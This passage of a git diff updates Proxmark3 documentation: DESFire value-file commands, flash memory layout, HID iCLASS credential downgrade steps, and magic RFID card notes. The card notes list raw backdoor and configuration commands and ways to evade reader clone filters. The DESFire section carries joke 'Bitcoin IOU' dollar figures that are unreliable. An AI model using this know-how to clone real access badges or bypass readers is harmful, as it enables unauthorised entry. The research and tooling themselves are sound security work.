operations:* + +Check your Bitcoin balance: +``` +pm3 --> hf mfdes value --aid 425443 --fid 01 --op get +[+] Value: 50 (0x00000032) + +pm3 --> hf mfdes value --aid 425443 --fid 01 --op get -m mac +[+] Value: 50 (0x00000032) +``` + +Loading Bitcoin IOUs onto your card: +``` +pm3 --> hf mfdes value --aid 425443 --fid 01 --op credit -d 00000019 +[+] Value changed successfully + +pm3 --> hf mfdes value --aid 425443 --fid 01 --op get +[+] Value: 75 (0x0000004b) +``` +Card now holds 75 BTC in IOUs ($9,000,000 in debt obligations) + +Buying coffee with Bitcoin IOUs: +``` +pm3 --> hf mfdes value --aid 425443 --fid 01 --op debit -d 00000001 +[+] Value changed successfully # You now owe the coffee shop $120,000 + +pm3 --> hf mfdes value --aid 425443 --fid 01 --op get +[+] Value: 74 (0x0000004a) # Remaining debt capacity +``` + +The legendary Pizza Day recreation: +``` +pm3 --> hf mfdes value --aid 425443 --fid 02 --op debit -d 00002710 +[+] Value changed successfully # You now owe Papa John's $1.2 billion + +pm3 --> hf mfdes value --aid 425443 --fid 02 --op get +[+] Value: 0 (0x00000000) # Card empty, bankruptcy imminent +``` + +*Communication modes:* + +Value files support different communication modes for security: + +Plain mode (no encryption): +``` +pm3 --> hf mfdes value --aid 123456 --fid 02 --op get -m plain +[+] Value: 125 (0x0000007d) +``` + +MAC mode (message authentication): +``` +pm3 --> hf mfdes value --aid 123456 --fid 02 --op credit -d 00000032 -m mac +[+] Value changed successfully +``` + +Encrypted mode (full encryption): +``` +pm3 --> hf mfdes value --aid 123456 --fid 02 --op debit -d 00000014 -m encrypted +[+] Value changed successfully +``` + +*Error handling and compatibility:* + +The Proxmark3 implementation includes automatic fallback for compatibility: +- If MAC mode fails with a length error (-20), it automatically retries in plain mode +- This ensures compatibility across different DESFire card generations +- Original communication mode is restored after fallback + +*Transaction behavior:* + +Value operations are atomic with automatic commit: +- The `hf mfdes value` command automatically issues CommitTransaction after credit/debit operations +- Get operations do not require a commit +- Operations either complete fully (including commit) or fail completely +- No manual transaction management required when using the `hf mfdes value` command +- Transaction MAC files can log all value operations for audit trails + +*Practical examples:* + +Daily Bitcoin IOU catastrophes: +``` +# Check morning IOU balance +pm3 --> hf mfdes value --aid 425443 --fid 01 --op get +[+] Value: 50 (0x00000032) # $6 million in IOUs + +# Friend sends you more IOUs via NFC bump +pm3 --> hf mfdes value --aid 425443 --fid 01 --op credit -d 000000C8 +[+] Value changed successfully # +200 BTC IOUs ($24M more debt) + +# Buy a Tesla (tap payment) +pm3 --> hf mfdes value --aid 425443 --fid 01 --op debit -d 00000001 +[+] Value changed successfully + +# Check remaining IOU capacity +pm3 --> hf mfdes value --aid 425443 --fid 01 --op get +[+] Value: 273 (0x00000111) # $32.76M in transferable debt +``` + + ### How to work with transaction mac ^[Top](#top) diff --git a/doc/ext_flash_notes.md b/doc/ext_flash_notes.md index 96b968bc7..25ba2be14 100644 --- a/doc/ext_flash_notes.md +++ b/doc/ext_flash_notes.md @@ -19,7 +19,7 @@ External 256kbytes flash is a unique feature of the RDV4 edition. Flash memory is -* 256KB (0x40000= 262144) +* 256KB (0x40000 = 262144) * divided into 4 pages of 64KB (0x10000 = 65536) * 4 pages divided into 16 sectors of 4KB (0x1000 = 4096), so last sector is at 0x3F000 @@ -31,27 +31,29 @@ Therefore a flash address can be interpreted as such: ^^^ offset ^^^ offset 0xF7F ``` +Please note that for other flash memory sizes than 256KB a "Page 3" will be the last page of the memory, and address offsets would be dependant on the memory size. + ## Layout ^[Top](#top) Page 0: * available for user data -* to dump it: `mem dump f page0_dump o 0 l 65536` -* to erase it: `mem wipe p 0` +* to dump it: `mem dump -f page0_dump -o 0 -l 65536` +* to erase it: `mem wipe -p 0` Page 1: * available for user data -* to dump it: `mem dump f page1_dump o 65536 l 65536` -* to erase it: `mem wipe p 1` +* to dump it: `mem dump -f page1_dump -o 65536 -l 65536` +* to erase it: `mem wipe -p 1` Page 2: * available for user data -* to dump it: `mem dump f page2_dump o 131072 l 65536` -* to erase it: `mem wipe p 2` +* to dump it: `mem dump -f page2_dump -o 131072 -l 65536` +* to erase it: `mem wipe -p 2` -Page 3: -* used by Proxmark3 RDV4 specific functions: flash signature and keys dictionaries, see below for details -* to dump it: `mem dump f page3_dump o 196608 l 65536` +Page 3 (or the last page for memories other than 256KB): +* used by Proxmark3 RDV4 specific functions: flash signature, see below for details +* to dump it: `mem dump -f page3_dump -o 196608 -l 65536` * to erase it: * **Beware** it will erase your flash signature so better to back it up first as you won't be able to regenerate it by yourself! * edit the source code to enable Page 3 as a valid input in the `mem wipe` command. @@ -60,29 +62,19 @@ Page 3: ## Page3 Layout ^[Top](#top) -Page3 is used as follows by the Proxmark3 RDV4 firmware: - -* **MF_KEYS** - * offset: page 3 sector 9 (0x9) @ 3*0x10000+9*0x1000=0x39000 - * length: 2 sectors - -* **ICLASS_KEYS** - * offset: page 3 sector 11 (0xB) @ 3*0x10000+11*0x1000=0x3B000 - * length: 1 sector - -* **T55XX_KEYS** - * offset: page 3 sector 12 (0xC) @ 3*0x10000+12*0x1000=0x3C000 - * length: 1 sector - -* **T55XX_CONFIG** - * offset: page 3 sector 13 (0xD) @ 3*0x10000+13*0x1000=0x3D000 - * length: 1 sector (actually only a few bytes are used to store `t55xx_config` structure) +Page3 (or the last page for memories other than 256KB) is used as follows by the Proxmark3 RDV4 firmware: * **RSA SIGNATURE**, see below for details * offset: page 3 sector 15 (0xF) offset 0xF7F @ 3*0x10000+15*0x1000+0xF7F=0x3FF7F (decimal 262015) * length: 128 bytes * offset should have been 0x3FF80 but historically it's one byte off and therefore the last byte of the flash is unused +* **Reserved for future use** + * offset: page 3 sector 14 (0xE) + +* **SPIFFS sectors** + * offset: page 3 sectors 13..0 (0xD..0x0) + ## RSA signature ^[Top](#top) diff --git a/doc/fpga_arm_notes.md b/doc/fpga_arm_notes.md index 4cc47b88a..21eba6818 100644 --- a/doc/fpga_arm_notes.md +++ b/doc/fpga_arm_notes.md @@ -73,9 +73,9 @@ There is a docker image with webpack installed which has been built which you ca ``` docker pull nhutton/prox-container:webp_image_complete -docker run -v /proxmark3:/tmp --rm -it nhutton/prox-container:webp_image_complete bash -$ cd /tmp/proxmark/fpga -$ make all +docker run -v /proxmark3:/tmp/proxmark3 --rm -it nhutton/prox-container:1.0 bash +$ cd /tmp/proxmark3/fpga +$ make all -j ``` In order to save space, these fpga images are LZ4 compressed and included in the fullimage.elf file when compiling the ARM SRC. `make armsrc` diff --git a/doc/hid_downgrade.md b/doc/hid_downgrade.md index c5a85f0ab..3cc23beea 100644 --- a/doc/hid_downgrade.md +++ b/doc/hid_downgrade.md @@ -24,6 +24,7 @@ This document targets both Proxmark3 and Flipper Zero devices. - [Simulate a standard keyed iCLASS legacy credential](#simulate-a-standard-keyed-iclass-legacy-credential) - [Write a downgraded iCLASS legacy credential](#write-a-downgraded-iclass-legacy-credential) - [Using Omnikey Reader 5427CK Gen2 and Proxmark3](#using-omnikey-reader-5427ck-gen2-and-proxmark3) + - [Using Elatec TWN4 or TWN4 mini (USB front reader)](#using-elatec-twn4-or-twn4-mini-usb-front-reader) - [Using Flipper Zero with NARD](#using-flipper-zero-with-nard) - [Using Weaponized HID Reader](#using-weaponized-hid-reader) - [Write ProxII credential to a T5577](#write-proxii-credential-to-a-t5577) @@ -82,7 +83,7 @@ Unfortantely not all readers will have iCLASS legacy enabled and your **downgrad For the next steps, you will need a `Proxmark3` or `Flipper Zero` device. -## Verfiy reader has iCLASS legacy enabled +## Verify reader has iCLASS legacy enabled ^[Top](#top) Present a standard keyed iCLASS legacy credential at the reader and see if it beeps. @@ -191,6 +192,20 @@ drop iclass-flipper.picopass file here and simulate on Flipper 7. Launch PM3 client, place iCLASS/Picopass card on HF antenna and read your original card on the Omnikey reader 8. Press enter +## Using Elatec TWN4 or TWN4 mini (USB front reader) +^[Top](#top) + +OBS! +The reader must have the `PI` designation on the label for it to have a embedded HID SAM. If you have a reader with a different configuration as per the label, an HID SAM will have to be installed in the SAM slot. + +1. Plug in Elatec reader +2. Launch [appblaster.exe](../tools/twn/AppBlaster.exe) +3. Click on "program firmware image" +4. Select [encoder.bix](../tools/twn/encoder.bix) as the reader firmware +5. Click program image +6. Launch PM3 client, place iCLASS/Picopass card on HF antenna and read your original card on the Elatec reader +8. Press enter + ## Using Flipper Zero with NARD ^[Top](#top) @@ -222,7 +237,7 @@ Prequisite, you will need the following bill of materials (BOM): * Some 20-24 AWG wire or ethernet cable * Your preferred power source (5-9v) -The easiest way is to buy a [ESPKEY](https://www.aliexpress.com/item/32850151497.html) +The easiest way is to buy a [ESPKEY](https://www.aliexpress.com/w/wholesale-esp-rfid-tool.html)) Follow these steps: diff --git a/doc/magic_cards_notes.md b/doc/magic_cards_notes.md index c2920550b..1b43873e5 100644 --- a/doc/magic_cards_notes.md +++ b/doc/magic_cards_notes.md @@ -15,11 +15,11 @@ Useful docs: * [EM4x05](#em4x05) * [ID82xx series](#id82xx-series) * [ID8265](#id8265) + * [ID8211](#id8211) * [ID-F8268](#id-f8268) - * [K8678](#k8678) * [H series](#h-series) * [H1](#h1) - * [H5.5 / H7](h55--h7) + * [H5.5 / H7](#h55--h7) * [i57 / i57v2](#i57--i57v2) * [ISO14443A](#iso14443a) * [Identifying broken ISO14443A magic](#identifying-broken-iso14443a-magic) @@ -27,8 +27,8 @@ Useful docs: * [MIFARE Classic block0](#mifare-classic-block0) * [MIFARE Classic Gen1A aka UID](#mifare-classic-gen1a-aka-uid) * [MIFARE Classic Gen1B](#mifare-classic-gen1b) - * [Mifare Classic Direct Write OTP](#mifare-classic-direct-write-otp) * [MIFARE Classic OTP 2.0](#mifare-classic-otp-20) + * [MIFARE Classic MF4](#mifare-classic-mf4) * [MIFARE Classic DirectWrite aka Gen2 aka CUID](#mifare-classic-directwrite-aka-gen2-aka-cuid) * [MIFARE Classic Gen3 aka APDU](#mifare-classic-gen3-aka-apdu) * [MIFARE Classic USCUID](#mifare-classic-uscuid) @@ -46,12 +46,15 @@ Useful docs: * [MIFARE Ultralight EV1 DirectWrite](#mifare-ultralight-ev1-directwrite) * [MIFARE Ultralight C Gen1A](#mifare-ultralight-c-gen1a) * [MIFARE Ultralight C DirectWrite](#mifare-ultralight-c-directwrite) - * [UL series (RU)](#ul-series-ru) + * [MIFARE Ultralight USCUID-UL](#mifare-ultralight-uscuid-ul) + * [UL-2](#ul-2) + * [UL-2 (20 blocks)](#ul-2-20-blocks) + * [UL-2 (41 blocks)](#ul-2-41-blocks) + * [UL-2 (44 blocks)](#ul-2-44-blocks) * [UL-Y](#ul-y) - * [ULtra](#ultra) + * [Ultra](#ultra-ru) * [UL-5](#ul-5) * [UL, other chips](#ul-other-chips) - * [MIFARE Ultralight USCUID-UL](#mifare-ultralight-uscuid-ul) * [NTAG](#ntag) * [NTAG213 DirectWrite](#ntag213-directwrite) * [NTAG21x](#ntag21x) @@ -144,7 +147,7 @@ It is also used by HID Global (but with a custom chip) for HIDProx credentials. ^[Top](#top) -These are custom chinese chips designed to clone EM IDs only. Often times, these are redesigned clones of Hitag chips. +These are custom Chinese chips mainly used to clone EM IDs. Often times, these are redesigned clones of Hitag chips. ### ID8265 @@ -154,8 +157,20 @@ This is the cheapest and most common ID82xx chip available. It is usually sold a #### Characteristics -* Chip is likely a Hitag μ (micro) +* Chip is likely a cut down version of Hitag µ (micro) clone +* UID `00 00 00 00 00 00` * Password protection (4b), usually "00000000"(default) or "9AC4999C"(FURUI) +* Config block 0xFF + * Byte0 + * bit 0-1 : Data Rate. ’00’ -> 2kbit/s, ’01’ -> 4kbit/s, ’10’ -> 8kbit/s, ’11’ -> 2kbit/s + * bit 2 : 1 -> fixed to 2kbit/s + * bit 3 : 0 -> Manchester, 1 -> Bi-phase + * bit 4 : TTF blocks. 0 -> "Block 0, Block 1, Block 2, Block 3", 1 -> "Block 0, Block 1" + * bit 5-6 : reversed? all blocks always read without password and write with password + * bit 7 : 1 -> enable TTF + * Byte1 only bit 0 changable + * Byte2 fixed 0x00 + * Byte3 only higher nibble changable * Currently unimplemented in proxmark3 client * Other names: * ID8210 (CN) @@ -172,6 +187,64 @@ This is the cheapest and most common ID82xx chip available. It is usually sold a Check the green line of the plot. It must be a straight line at the end with no big waves. +### Commands + +*Try NXP Hitag µ datasheet for sending commands to chip* + +``` +# login with pass 00000000 +lf cmdread -d 48 -z 112 -o 176 -e W3000 -e S240 -e E336 -s 1024 -c W0S0010100010100000000000000000000000000000000000000000000000000000000000000000000000000000000 -k + +# write EM4100 Data (EMID 0000000000) to block0 and block1 +lf cmdread -d 48 -z 112 -o 176 -e W3000 -e S240 -e E336 -s 1024 -c W0S001000010100000000011111111100000000000000000000000 -k +lf cmdread -d 48 -z 112 -o 176 -e W3000 -e S240 -e E336 -s 1024 -c W0S001000010101000000000000000000000000000000000000000 -k + +# write config block 05800000(A0010000 in LSB first) +lf cmdread -d 48 -z 112 -o 176 -e W3000 -e S240 -e E336 -s 1024 -c W0S001000010101111111100000101100000000000000000000000 +``` + +### ID8211 + +^[Top](#top) + +This is an "improved" variant of ID82xx chips, bypassing some magic detection in China. + +#### Characteristics + +* Chip is likely a cut down version of Hitag S2048 clone, Characteristics looks exacly same with [8268](#id-f8268) when set CON1 AUT bit +* No password protection +* tearoff time + * The OTP bits appear to be erased to '1'. Write done time is less than 735µs + * nochange 735µs- + * bit flip 735-740µs + * wiped 740-3250µs + * bit flip 3250-3350µs + * write done 3350µs+ +* page 1 fully changeable. default: `CA 24 00 00` + * CON0 RES0 enable some extended TTFM + * TTFM 01: page 4, page 5, page 6 + * TTFM 10: page 4, page 5, page 6, page 7, page 8 + * TTFM 11: page 4, page 5, page 6, page 7, page 8, page 9, page 10, page 11 + * CON0 RES3 enable FSK TTF mode 0=RF/10 1=RF/8 +* page 41 - 43 unknown data, readonly + * page 41 fixed `00 00 20 00` + * page 42 examples: + * `D4 04 22 CA` + * `E3 23 22 CA` + * `C7 91 22 CA` + * page 43 fixed `68 06 39 E0` +* page 44 - 63 readonly to `00 00 00 00` + +#### Detect + +``` +[usb] pm3 --> lf hitag hts rdbl --count 0 +``` + +### Commands + +*Try NXP Hitag S datasheet for sending commands to chip* + ### ID-F8268 ^[Top](#top) @@ -180,43 +253,41 @@ This is an "improved" variant of ID82xx chips, bypassing some magic detection in #### Characteristics -* Chip is likely a Hitag 1 -* Unsure whether password protection is used -* Currently unimplemeneted in proxmark3 client +* Chip is likely a cut down version of Hitag S2048 clone, Characteristics looks exacly same with [8211](#id8211) when clear CON1 AUT bit +* Password protection (4b), usually "BBDD3399"(default) or "AAAAAAAA" +* page 1 fully changeable. default: `DA A4 00 00` + * CON0 RES0 enable some extended TTFM + * TTFM 01: page 4, page 5, page 6 + * TTFM 10: page 4, page 5, page 6, page 7, page 8 + * TTFM 11: page 4, page 5, page 6, page 7, page 8, page 9, page 10, page 11 + * CON0 RES3 enable FSK TTF mode 0=RF/10 1=RF/8 +* page 2 password +* page 41 - 43 unknown data, readonly + * page 41 fixed `00 00 20 00` + * page 42 examples: + * `9A EF 9A CB` + * `45 04 9B CB` + * `0E 31 37 CC` + * `DF 02 99 CA` + * `0E CE D8 CB` + * `90 3C CB CB` + * page 43 fixed `68 04 39 E0` +* page 44 - 63 readonly to `00 00 00 00` +* auth by write password to page 64 after SELECT * Other names: * F8278 (CN) * F8310 (CN) + * K8678 manufactured by Hyctec. #### Detect ``` -[usb] pm3 --> lf cmdread -d 50 -z 116 -o 166 -e W3000 -c W00110 -s 3000 -[usb] pm3 --> data plot +[usb] pm3 --> lf hitag hts rdbl --82xx --count 0 ``` -Check the green line of the plot. It must be a straight line at the end with no big waves. +### Commands -### K8678 - -^[Top](#top) - -This is an "even better" chip, manufactured by Hyctec. - -#### Characteristics - -* Chip is likely a Hitag S256 -* Plain mode used, no password protection -* Currently unimplemented in proxmark3 client -* Memory access is odd (chip doesnt reply to memory access commands for unknown reason) - -#### Detect - -``` -[usb] pm3 --> lf cmdread -d 50 -z 116 -o 166 -e W3000 -c W00110 -s 3000 -[usb] pm3 --> data plot -``` - -Check the green line of the plot. It must be a straight line at the end with no big waves. +*Try NXP Hitag S datasheet for sending commands to chip* ## H series @@ -312,7 +383,7 @@ UID 4b: (actually NUID as there are no more "unique" IDs on 4b) ``` -Computing BCC on UID 11223344: `analyse lcr -d 11223344` = `44` +Computing BCC on UID 11223344: `analyse lrc -d 11223344` = `44` UID 7b: @@ -549,7 +620,7 @@ hf mf info ^[Top](#top) Similar to Gen1A, but after first block 0 edit, tag no longer replies to 0x40 command. -Were manufactured by iKey LLC as a replacement for [OTP](#mifare-classic-direct-write-otp) +Were manufactured by iKey LLC as a replacement for [OTP](#fuid) ### Characteristics @@ -580,6 +651,92 @@ hf mf info * Write: `40(7)`, `43`, `A0xx`+crc, `xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`+crc +## MIFARE Classic MF4 + +^[Top](#top) + +Similar to OTP 2.0, but now additional configuration is possible. +Were manufactured by iKey LLC as a replacement for MF3. + +### Characteristics + +* Initial UID is 00000000 +* BCC: unknown +* SAK/ATQA: configurable +* ATS: configurable +* PPS: configurable (fake response) +* All bytes are 00 from factory wherever possible. + +### Identify + +^[Top](#top) + +Only possible before personalization. + +``` +hf mf info +... +[=] --- Magic Tag Information +[+] Magic capabilities... Gen 1a + +[=] --- PRNG Information +[+] Prng................. hard + +hf mf cgetblk --blk 3 +hf mf rdbl --blk 3 +[ If the ACLs do not match, this is an MF4 ] +``` + +### Magic commands + +^[Top](#top) + +Warning: changing the UID from 00000000 will disable all of these commands permanently. + +* Read backdoor: `40(7)`, `43`, `30xx`+crc +* Write: `40(7)`, `43`, `A0xx`+crc, `xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`+crc + +### Magic configuration + +^[Top](#top) + +By accessing trailers of sectors 11-15 using gen1 mode, it is possible to re-configure the tag. + +The layout for a sector is below: +* block 0: data +* block 1: data +* block 2: data +* block 3[0-5] - key A +* block 3[6] - configuration byte +* block 3[7] - ACL byte [bits 7-4], configuration[3-0]/RFU +* block 3[8] - ACL byte +* block 3[9] - ACL user byte +* block 3[10-15] - key B + +Any data set in one mode will be mirrored to the other, as such be careful when configuring from gen1 mode to avoid unintentionally changing access conditions, keys or configurations. + +Here is how the IC can be configured: +* ATS + * Maximum length is 16 bytes inclduing TL + * Stored in trailers of sectors 0-10 (bytes 0-10: byte 6 of the matching sector; bytes 11-15: byte 7 lower half of sectors `(byte num.-11) (is lower half? +1 if yes)`) + * To avoid issues, please set unused bytes to 00 + * **Example** - to make the 15th byte `AF` you should set block 31 to `FFFFFFFFFFFF 00 0 A 8000 FFFFFFFFFFFF` and block 35 to `FFFFFFFFFFFF 00 0 F 8000 FFFFFFFFFFFF` +* ATQA/SAK + * If the values are changed from defaults, the custom values will be used during anticollision. + * SAK (CL2/final select, default 0x08): sector 11 trailer, byte 6 + * SAK (7b intermediate, default 0x04): sector 12 trailer, byte 6 + * ATQA (higher half (transmission), default 0x44): sector 13 trailer, byte 6 + * ATQA (lower half (transmission), default 0x00): sector 14 trailer, byte 6 + * **Example** - to make the SAK `28`, you should set block 47 to `FFFFFFFFFFFF 28 0 0 8000 FFFFFFFFFFFF` +* Anticollision behavior + * PPS support: sector 14 trailer, byte 7, bit 2 (from least significant); 0: off, 1: on + * RATS support: sector 14 trailer, byte 7, bit 0 (from least significant); 0: off; 1: on + * CL2 (7 byte UID) support: sector 15 trailer, byte 7, bit 3 (from least significant); 0: 4 bytes, 1: 7 bytes + * **Example** - to enable 7 byte UIDs, you should set block 63 to `FFFFFFFFFFFF 00 0 8 8000 FFFFFFFFFFFF` +* Locking the IC, i.e. removing magic wakeup + * In block 63, set byte 7 bits 2 and 0 to `0b1`, resulting in byte 7 containing at least `05`. + * Write your UID. + ## MIFARE Classic DirectWrite aka Gen2 aka CUID ^[Top](#top) @@ -588,9 +745,9 @@ hf mf info * Other names: * MF-8 (RU) - * MF-3 (RU) - * What's so special about this chip in particular..? - + * MF-3 (RU) - not susceptible to "field reset bug", a way to detect [OTP](#fuid) chips. + * MF-3.2 (RU) - static nonce `01200145`, potentially fixed chip which can bypass Iron Logic's filters. +` ### Identify ^[Top](#top) @@ -981,7 +1138,7 @@ No implemented commands today | 7AFF000000000000BAFA000000000008 | UFUID | | 7AFF0000000000000000000000000008 | ZUID | -*Not all tags are the same!* UFUID, ZUID and PFUID* are not full implementations of Magic85 - they only acknowledge the first 8 (except wakeup command) and last config byte(s). +*Not all tags are the same!* UFUID, ZUID and PFUID* are not full implementations of USCUID - they only acknowledge the first 8 (except wakeup command) and last config byte(s). *Read and write config commands are flipped @@ -991,13 +1148,26 @@ Well-known variations are described below. ^[Top](#top) -Known as "write only once", which is only partially true. +* Other names: + * OTP (RU) -Allows direct write to block 0 only when UID is default `AA55C396`. But always could be rewritten multiple times with backdoors commands. +Known as "write only once", which is only partially true, because old revisions had backdoor commands enabled, so you could manipulate the tag, using them. +Newer FUIDs are based on new implementation of chip and have backdoor commands disabled by default. -Backdoor commands are available even after the personalization and makes that tag detectable. +Allows direct write to block 0 only when UID is default `AA55C396`. If your tag responds to a `20(7)`, `23` magic wakeup, the UID could always be rewritten multiple times with backdoors commands, but that makes that tag detecteable. -That's a key difference from [OTP](#mifare-classic-direct-write-otp)/[OTP 2.0](#mifare-classic-otp-20) tags. +### Market Usage + +In ex-USSR countries were widely used as a replacement for UID tags. Especially for protected Iron Logic readers.Later filter `OTP` was created in those readers. +The idea of the filter is that old version's chip had an issue in the protocol implementation. + +The reader could interrupt radiofield for 2-3 microseconds (standard pause in the bit period of ISO14443-2). +After the response to first `26 (7)` command, but before the following `93 70` command. In that case original M1 card will stop the flow, but OTP will continue it. + +That issue led to the development of the filters against that card and discontinuation of the production. +As a successor, [OTP 2.0](#mifare-classic-otp-20) was created for that market. + +Newer FUID tags (with backdoor command disabled) has protocol fixed and works fine on Iron Logic readers with firmware older than 7.28, but are filtered by latest filters on mentioned firmware. ### Characteristics @@ -1012,6 +1182,8 @@ That's a key difference from [OTP](#mifare-classic-direct-write-otp)/[OTP 2.0](# ^[Top](#top) +Unlocked tag type: + ``` hf mf info ... @@ -1020,6 +1192,15 @@ hf mf info ``` +Or locked down tag type: + +``` +hf mf info +... +[+] Magic capabilities... Write Once / FUID + +``` + ### Parsed configuration ^[Top](#top) @@ -1027,20 +1208,21 @@ hf mf info ``` [usb] pm3 --> hf mf gdmcfg --gdm [+] Config... 7A FF 85 00 00 00 00 00 00 FF 00 00 00 00 00 08 -[+] 7A FF .......................................... Magic wakeup enabled with GDM config block access -[+] 85 ....................................... Magic wakeup style GDM 20(7)/23 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 00 ........................ Block 0 Direct Write Disabled (CUID) -[+] 00 ..................... Unknown -[+] FF .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 00 ............... Shadow mode disabled -[+] 00 ............. Magic auth disabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 7A FF ......................................... Magic wakeup enabled with GDM config block access +[+] 85 ...................................... Magic wakeup style GDM 20(7)/23 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 00 ....................... Block 0 Direct Write Disabled (CUID) +[+] 00 .................... Unknown +[+] FF ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 00 .............. Shadow mode disabled +[+] 00 ........... Magic auth disabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` +**Note: this is only possile on the FUID style that has not been locked down. ### Commands @@ -1053,7 +1235,7 @@ hf mf info * Write hidden block: `A8xx+crc`, `[16 bytes data]+crc` * Read configuration: `E000+crc` * Write configuration: `E100+crc` -* Example of changing block 0 after the personalization: +* Example of changing block 0 after the personalization (only possible on tags that have not been locked down): ``` [usb] pm3 --> hf 14a raw -k -a -b 7 20 @@ -1119,19 +1301,19 @@ Before the sealing could be detected from the config block value. ``` [usb] pm3 --> hf mf gdmcfg --gen1a [+] Config... 7A FF 00 00 00 00 00 00 BA FA 00 00 00 00 00 08 -[+] 7A FF .......................................... Magic wakeup enabled with GDM config block access -[+] 00 ....................................... Magic wakeup style Gen1a 40(7)/43 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 00 ........................ Block 0 Direct Write Disabled (CUID) -[+] BA ..................... Unknown -[+] FA .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 00 ............... Shadow mode disabled -[+] 00 ............. Magic auth disabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 7A FF ......................................... Magic wakeup enabled with GDM config block access +[+] 00 ...................................... Magic wakeup style Gen1a 40(7)/43 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 00 ....................... Block 0 Direct Write Disabled (CUID) +[+] BA .................... Unknown +[+] FA ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 00 .............. Shadow mode disabled +[+] 00 ........... Magic auth disabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands @@ -1176,16 +1358,22 @@ All commands are available before sealing. ^[Top](#top) -That tag is a UID tag, built on USCUID chip. It doesn't sold separately, but could be found on marketplaces under the guise of a UID tag. +That tag is a UID tag, built on USCUID chip. It is not sold separately, but could be found on marketplaces under the guise of a UID tag. ### Characteristics ^[Top](#top) -* Configuration block value: `7AFF0000000000000000000000000008` -* No direct write to block 0 +* Default configuration block value: `7AFF0000000000000000000000000008` * Responds to magic wakeup `40(7)`, `43` commands -* Acknowledge only the first (except wakeup command) and last config byte(s), so doesn't have the hidden block +* Does not have hidden blocks, and only acknowledges the following bytes marked with carats. As such, Gen 1a mode cannot be disabled. All acknowledged bytes follow the standard USCUID format. + +``` +7AFF0000000000000000000000000008 + ^^ >> Block use of Key B if readable by ACL + ^^ >> CUID mode + ^^ >> SAK*** +``` ### Identify @@ -1195,13 +1383,10 @@ That tag is a UID tag, built on USCUID chip. It doesn't sold separately, but cou hf mf info ... [+] Magic capabilities... Gen 1a -[+] Magic capabilities... Gen 4 GDM / USCUID ( Gen1 Magic Wakeup ) +[+] Magic capabilities... Gen 4 GDM / USCUID ( ZUID Gen1 Magic Wakeup ) ``` -Currently Proxmark3 doesn't identify it as a separate tag. -Could be detected from the config block value. - ### Parsed configuration ^[Top](#top) @@ -1209,19 +1394,19 @@ Could be detected from the config block value. ``` [usb] pm3 --> hf mf gdmcfg --gen1a [+] Config... 7A FF 00 00 00 00 00 00 00 00 00 00 00 00 00 08 -[+] 7A FF .......................................... Magic wakeup enabled with GDM config block access -[+] 00 ....................................... Magic wakeup style Gen1a 40(7)/43 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 00 ........................ Block 0 Direct Write Disabled (CUID) -[+] 00 ..................... Unknown -[+] 00 .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 00 ............... Shadow mode disabled -[+] 00 ............. Magic auth disabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 7A FF ......................................... Magic wakeup enabled with GDM config block access +[+] 00 ...................................... Magic wakeup style Gen1a 40(7)/43 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 00 ....................... Block 0 Direct Write Disabled (CUID) +[+] 00 .................... Unknown +[+] 00 ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 00 .............. Shadow mode disabled +[+] 00 ........... Magic auth disabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands @@ -1231,8 +1416,6 @@ Could be detected from the config block value. * Magic wakeup: `40(7)`, `43` * Backdoor read main block: `30xx+crc` * Backdoor write main block: `A0xx+crc`, `[16 bytes data]+crc` - * Read hidden block: `38xx+crc` - * Write hidden block: `A8xx+crc`, `[16 bytes data]+crc` * Read configuration: `E000+crc` * Write configuration: `E100+crc` @@ -1289,19 +1472,19 @@ Could be manually validated with the configuration block value. ``` [usb] pm3 --> hf mf gdmcfg [+] Config... 85 00 00 00 00 00 00 00 00 00 5A 5A 00 00 00 08 -[+] 85 00 .......................................... Magic wakeup disabled -[+] 00 ....................................... Magic wakeup style Gen1a 40(7)/43 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 00 ........................ Block 0 Direct Write Disabled (CUID) -[+] 00 ..................... Unknown -[+] 00 .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 5A ............... Shadow mode enabled -[+] 5A ............. Magic auth enabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 85 00 ......................................... Magic wakeup disabled +[+] 00 ...................................... Magic wakeup style Gen1a 40(7)/43 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 00 ....................... Block 0 Direct Write Disabled (CUID) +[+] 00 .................... Unknown +[+] 00 ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 5A .............. Shadow mode enabled +[+] 5A ........... Magic auth enabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands @@ 